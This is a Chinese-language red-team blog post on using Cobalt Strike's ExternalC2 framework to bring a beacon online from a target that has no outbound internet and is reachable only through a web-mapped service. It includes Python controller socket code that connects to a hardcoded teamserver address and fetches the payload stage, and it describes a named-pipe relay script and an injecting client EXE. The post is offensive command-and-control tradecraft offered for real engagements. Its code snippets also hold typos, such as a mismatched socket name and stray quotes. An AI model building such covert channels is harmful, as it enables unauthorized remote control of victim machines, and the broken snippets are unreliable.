0x00 前言
Cobalt Strike
的上线问题归结为以下几点:
问题 | 解决方法 |
---|---|
目标存在杀软(被杀) | Shellcode 加载器 |
目标存在杀软(拦截连接) | C2 处理 |
目标机是 Web 映射出网 | 特殊 C2 处理 |
隔离网络 | 出网机器做跳板 |
本文针对第 3 点进行展开。
0x01 前置知识点
1.1、管道
如果对管道不熟悉的朋友,可以将管道理解为采用消息队列方式操作的文件。为什么说管道是文件呢?因为它的本质是一段系统内核的缓冲区,可以看做是一个伪文件。在我们使用管道时,需要 Create、Open、Read、Write、Close,就和我们操作文件差不多。而又为什么说管道是采用消息队列的方式呢?因为它实际上的数据结构是一个环形队列。不同的线程都可以向里面写,也可以从里面读。写在队列末尾,读就是从队列头部删除。
管道分为两种,匿名管道(pipe)和命名管道(FIFO)。匿名管道用于父子进程通信,而命名管道可以用于任意两个进程通信。
服务端:创建管道 >> 监听 >> 读写 >> 关闭
客户端:打开命令管道,获得句柄 >> 写入数据 >> 等待回复
1.2、SMB Beacon
官网的解释为:SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。 SMB Beacon
默认使用的是:msagent_bb34
以上的说法,其实就是将 Payload 运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。
0x02 ExternalC2
ExternalC2
是 Cobalt Strike
引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 HTTP(S)/DNS/SMB
通道。大家可以参考此处下载完整的规范说明。
简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:
- 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
- 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
- SMB Beacon:在受害者主机上执行的标准 beacon。
从 Cobalt Strike
提供的官方文档中(文末有官方文档),我们可以看到如下示意图:
从上图可知,我们的自定义 C2 通道两端分别为第三方 Controller
以及第三方 Client
,这两个角色都是我们可以研发以及控制的角色。往下走就是一个 完整的 ExternalC2
工作流程
0x03 正常的 ExternalC2 工作流程
一个粗糙的时序图(图中的空虚线是为了排版,无其他意义):
3.1、ExternalC2
我们需要让 Cobalt Strike
启动 ExternalC2
。我们可以使用 externalc2_start
函数,传入端口参数即可。一旦 ExternalC2
服务顺利启动并正常运行,我们需要使用自定义的协议进行通信。
启用
externalc2_start
函数,通知Teamserver
已开启C2
1
externalc2_start("0.0.0.0", 2222);
等待
Controller
连接传输配置信息生成下发
Payload Stage
接收和下发信息
3.2、Controller
使用
socket
连接ExternalC2
平台1
2_socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketToExternalC3.connect(("193.10.20.123", 2222))规范接收与发送的数据格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23def encodeFormat(data):
return struct.pack("<I", len(data)) + data
def decodeFormat(data):
len = struct.unpack("<I", data[0:3])
body = data[4:]
return (len, body)
def recvFromExternalC2():
data = ""
_len = _socketToExternalC3.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketToExternalC3.recv(l - len(data))
return data
def recvFromBeacon():
data = ""
_len = _socketToBeacon.recv(4)
l = struct.unpack("<I",_len)[0]
while len(data) < l:
data += _socketToBeacon.recv(l - len(data))
return data发送配置选项(x86 or x64 、命名管道名称、间隔时间)
发送
go
,通知ExternalC2
可下发Payload Stage
1
2
3
4
5
6
7def sendToTS(data):
_socketToExternalC3.sendall(encodeFormat(data))
sendToTS("arch=x86")
sendToTS(“pipename=rcoil")
sendToTS("block=500")
sendToTS("go")接收来自
ExternalC2
所下发的Payload Stage
1
data = recvFromExternalC2()
与此同时,新开启一个
Socket
,进行监听,等待接收来自Client (EXE)
的数据1
2
3
4_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
_socketBeacon.bind(("0.0.0.0", 8088))
_socketBeacon.listen(1)
_socketClient = _socketBeacon.accept()[0]在收到
Client (EXE)
的连接后,向Client (EXE)
发送Payload Stage
向
ExternalC2
反馈来自Client (EXE)
的数据机器上线
进入数据收发循环处理流程
可以参考此处获取完整的 Controller
代码。
3.3、Client (EXE)
同样规范接收与发送的数据格式
连接
Controller
,并接收Payload Stage
- 将接收到的
Payload Stage
使用常规的进程注入方法注入到进程中 SMB Beacon
启动并处于运行状态Client (EXE)
连接SMB Beacon
的命名管道,用于接收或下发命令- 进入数据收发循环处理流程
可以参考此处获取完整的 Client (EXE)
代码
0x04 特殊的 C2 配置
以上所配置的 C2,并不能满足我们现在的特殊需求:Web 映射出网环境上线问题 。由于目标机是不出外网的,所以无法实现上面的: Client 主动连接 Controller,进而将 Payload Stage下发,所以可以从上面的流程进行修改,其实修改起来也不难,以下是解决方案:
1 | 需要在目标机器上面(根据 Web 容器)编写一个对指定的命名管道进行读取和写入的脚本(Client-Web),然后在 Controller 上对此脚本(Client-Web)进行连接(读写操作),将主动变成被动即可解决。 |
为了省略阅读时长,直接看以下时序图(图中的空虚线是为了排版,无其他意义)。
需要多一个中转设置,我们将这个中转命名为 Client-Web
,确保自定义周期能够完成。接下来小节中的代码,如果是应用于实战,建议自写。
4.1、Controller
这一部分与上所述基本一致,只是将挂起的 socket
转为对 Web
的请求,主动去获取数据,再将获取到的数据进行反馈。
1 | // 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/controller/webc3.py |
4.2、Client–Web
等待 Controller 连接,往下就是对脚本的轮询
1 | // 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/php/piperw.php |
4.3、Client-EXE
这个客户端也相当与一个中转
1 | // 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/client/c/webc2_loader/PipeOperationRelay/%E6%BA%90.c |
当然,自用的会使用 C#
进行重写。
0x05 实操
5.1、加载脚本
加载 ExternalC2.cna
,完成第一步。
5.2、Controller
这里我们使用的代码是参照 XPN 的代码写成与上方 hl0rey 一样格式的代码。
5.3、Client
使用加载器加载这一段 shellcode
,查看 pipelist
,可以看到我们自定义的管道名。
到这里,可以说明 SMB Beacon
已经成功运行,目前缺少的是可与之进行交互的上层进程。往下继续,运行 Client-EXE
(使用hl0rey的代码),再次查看 pipelist
,结果如下
5.4、Cobalt Strike
成功上线。
5.5、问题
但是,查看 PipeOption.exe
,崩了。同时,Cobalt Strike
上线的机器,心跳包正常,但是功能无法使用。
应该是 PipeOption.exe
和 php 脚本
之间出现的问题,通过抓包,发现这里应该是权限问题。
将 PipeOpiton.exe
以管理员权限运行,action=read
则没出错。
向 Lz1y
大佬请教了下,还是改改 Client-EXE
和 Client-Web
的代码算了。不使用命名管道,直接读写文件,这样 Client-Web
的不同版本也可以很好写。看到这里是不是很蛋疼,嘤嘤嘤。相关代码后续再补上吧,留个坑!!!
0x06 参考
Exploring Cobalt Strike’s ExternalC2 framework
利用 External C2 解决内网服务器无法出网的问题
一起探索Cobalt Strike的ExternalC2框架
externalc2spec.pdf